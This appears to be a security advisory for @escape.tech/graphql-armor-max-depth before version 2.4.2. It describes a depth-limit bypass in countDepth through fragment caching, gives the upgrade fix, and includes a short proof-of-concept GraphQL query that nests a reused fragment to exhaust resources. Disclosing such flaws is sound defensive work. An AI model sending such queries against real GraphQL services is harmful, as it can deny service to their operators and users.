Allocation of Resources Without Limits or Throttling Affecting @escape.tech/graphql-armor-max-depth package, versions <2.4.2
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- published28 Aug 2025
- disclosed26 Aug 2025
- creditUnknown
Introduced: 26 Aug 2025
New CVE NOT AVAILABLE CWE-770 (opens in a new tab)How to fix?
Upgrade @escape.tech/graphql-armor-max-depth to version 2.4.2 or higher.
Overview
@escape.tech/graphql-armor-max-depth is a Limit the depth allowed in a GraphQL query.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the countDepth function. An attacker can cause excessive resource consumption by crafting queries that reuse fragments at varying depths, bypassing intended depth restrictions through fragment caching.
PoC
query {
books {
author {
...Test
}
}
books {
author {
books {
author {
...Test
}
}
}
}
}
fragment Test on Author {
books {
title
}
}